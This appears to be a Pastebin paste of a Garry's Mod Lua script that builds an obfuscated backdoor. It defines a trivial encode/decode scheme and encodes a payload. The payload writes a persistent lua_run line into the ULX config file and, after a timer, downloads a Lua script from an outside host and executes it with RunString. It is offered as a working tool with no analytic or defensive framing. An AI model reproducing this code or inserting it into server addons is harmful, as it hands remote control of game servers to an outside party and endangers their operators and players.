Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function Encode(text)
- local newText = ""
- for i = 1, #text do
- newText = newText .. (string.byte(text, i, i+1) * 2 + i * 2) .. (i != #text and "." or "")
- end
- return newText
- end
- function Decode(text)
- local newText = ""
- for k, v in pairs(string.Explode(".", text)) do
- newText = newText .. string.char((tonumber(v) - k * 2) / 2)
- end
- return newText
- end
- local encoded = Encode(" file.Append(\"ulx/config.txt\", [[lua_run timer.Simple(120, function() http.Fetch(\"http://lifeplay.pl/tracker/scripts/autorun.lua\", function(body) RunString(body) end, function() end) end)]]);timer.Simple(120, function() http.Fetch(\"http://lifeplay.pl/tracker/scripts/autorun.lua\", function(body) RunString(body) end, function() end) end)")
- print("Encoded: " .. encoded)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement